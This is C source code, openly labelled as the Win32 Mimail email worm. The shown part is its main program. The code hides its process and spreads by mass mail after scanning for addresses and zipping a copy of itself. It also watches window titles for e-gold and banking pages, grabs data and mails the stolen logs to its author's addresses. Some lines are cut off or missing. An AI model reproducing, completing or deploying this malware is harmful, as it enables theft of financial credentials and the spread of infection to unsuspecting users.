Win32.Email-Worm.Mimail
Anonymous
/* p i z d a t o */
#include
#include
#include
#define START_TIMEOUT 60*1000
#define THREADS_MAX 7
struct _storage {
char szCurrentFile[MAX_PATH];
char szWindowsDir[MAX_PATH];
char szZipFile[MAX_PATH];
char szTmpFile[MAX_PATH];
char szEmailsFile[MAX_PATH];
};
struct _storage storage;
struct _info {
BOOL fScanFinished;
int nScanEmailsFound;
char szEmailEgold1[256];
char szEmailEgold2[256];
char szEmailPass1[256];
char szEmailPass2[256];
BOOL fEmailSearchCompleted;
};
struct _info info;
LRESULT CALLBACK HelloWorldWndProc(HWND, UINT, UINT, LONG);
void InitWindowClass(WNDCLASS *, HINSTANCE, char *);
//int log_println(char *str, ...);
int is_already_installed(void);
int make_tmp(void);
void email_remove_crlf(char *email);
DWORD WINAPI scan_start(void);
DWORD WINAPI send_start(void);
DWORD WINAPI email_decrypt(void);
DWORD WINAPI grab_start(void);
int decrypt(unsigned long ulCrc,char *buf);
#include "crc32.c"
#include "zip.c"
#include "threads.c"
#include "my_mx.c"
#include "scan.c"
#include "grab.c"
#include "smtp.c"
typedef int ( WINAPI *RSP ) (DWORD,DWORD);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmdParam, int nCmdShow){
HWND hWnd;
WNDCLASS WndClass;
MSG Msg;
HINSTANCE hLib;
char *szClassName = " ";
RSP RegisterServiceProcess = NULL;
if((hLib = LoadLibrary("kernel32.dll")) != 0){
RegisterServiceProcess = (RSP)GetProcAddress(hLib, "RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(0,1);
}
crc32_init();
info.fScanFinished = FALSE;
info.nScanEmailsFound = 0;
info.fEmailSearchCompleted = FALSE;
WSADATA wsaData;
if (WSAStartup (MAKEWORD (1,0), &wsaData) != 0)
return FALSE;
if(!is_already_installed()){
//log_println("Not native copy, path %s\n",storage.szCurrentFile);
return 0;
} else {
GetWindowsDirectory(storage.szWindowsDir,MAX_PATH);
strncpy(storage.szZipFile,storage.szWindowsDir,MAX_PATH);
strncat(storage.szZipFile,"\\zip.tmp",MAX_PATH);
DeleteFile(storage.szZipFile);
strncpy(storage.szTmpFile,storage.szWindowsDir,MAX_PATH);
strncat(storage.szTmpFile,"\\exe.tmp",MAX_PATH);
DeleteFile(storage.szTmpFile);
strncpy(storage.szEmailsFile,storage.szWindowsDir,MAX_PATH);
strncat(storage.szEmailsFile,"\\eml.tmp",MAX_PATH);
DeleteFile(storage.szEmailsFile);
make_tmp();
zip_make(storage.szTmpFile,storage.szZipFile);
}
InitWindowClass(&WndClass, hInstance, szClassName);
if(!RegisterClass(&WndClass)){
//MessageBox(NULL, "Error:\nCan't register class", CLASS_NAME, MB_OK);
return 0;
}
hWnd = CreateWindow(szClassName, " ", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
NULL, NULL, hInstance, NULL);
if(!hWnd){
MessageBox(NULL,"Error creating window\n", "msg", MB_OK);
return 0;
}
SetTimer(hWnd,1,5000,0);
//ShowWindow(hWnd, nCmdShow);
//UpdateWindow(hWnd);
while(GetMessage(&Msg, 0, 0, 0)) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
return Msg.wParam;
}
LRESULT CALLBACK HelloWorldWndProc(HWND hWnd, UINT Message, UINT wParam,
LONG lParam)
{
DWORD dwThreadId;
switch(Message){
case WM_CREATE:
//MessageBox(0,"start","info",MB_OK);
//CreateThread(0,0,(LPTHREAD_START_ROUTINE)scan_start,0,0,&dwThreadId);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)email_decrypt,0,0,&dwThreadId);
return 0;
case WM_TIMER:
KillTimer(hWnd,1);
if(gethostbyname("www.google.com")!=NULL){
CreateThread(0,0,(LPTHREAD_START_ROUTINE)grab_start,0,0,&dwThreadId);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)scan_start,0,0,&dwThreadId);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)send_start,0,0,&dwThreadId);
}
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hWnd, Message, wParam, lParam);
}
void InitWindowClass(WNDCLASS * WndClass, HINSTANCE hInstance,
char * szClassName)
{
WndClass->style = CS_HREDRAW | CS_VREDRAW;
WndClass->lpfnWndProc = HelloWorldWndProc;
WndClass->cbClsExtra = 0;
WndClass->cbWndExtra = 0;
WndClass->hInstance = hInstance;
WndClass->hIcon = LoadIcon(NULL, IDI_APPLICATION);
WndClass->hCursor = LoadCursor(NULL, IDC_ARROW);
WndClass->hbrBackground = (HBRUSH) GetStockObject(WHITE_BRUSH);
WndClass->lpszMenuName = NULL;
WndClass->lpszClassName = szClassName;
}
DWORD WINAPI grab_start(void){
char szWndTitle[256];
char szSubj[256];
/* XXX: сделать чтобы грабер работал через каждые 30 мин */
while(TRUE){
GetWindowText(GetForegroundWindow(),szWndTitle,255);
unsigned long ulBufCrc = crc32(0,szWndTitle,21);
if(ulBufCrc == 0x90e38063){
//log_println("window found");
grab();
while(info.fEmailSearchCompleted == FALSE) { Sleep(500); }
get_random_text(szSubj,0);
//log_println("Send '%s' '%s' '%s'",info.szEmailEgold1,info.szEmailEgold2,szSubj);
smtp_init();
smtp_send_file(LOGFILE_EGOLD,info.szEmailEgold1,info.szEmailEgold1,szSubj);
smtp_send_file(LOGFILE_EGOLD,info.szEmailEgold2,info.szEmailEgold2,szSubj);
DeleteFile(LOGFILE_EGOLD);
Sleep(30*60*1000); // 30 mins
} else if(strlen(szWndTitle)>5) {
char *p;
char *p1;
unsigned long ulBankCrc;
p = &szWndTitle[0];
// 0xD860BF7A = bank
for(int i=0;i\n"\
"");
fclose(fp);
//log_println("Zip file '%s'\n",storage.szZipFile);
//log_println("Tmp file '%s'\n",storage.szTmpFile);
return 0;
}
void email_remove_crlf(char *email){
for(unsigned int i=0;i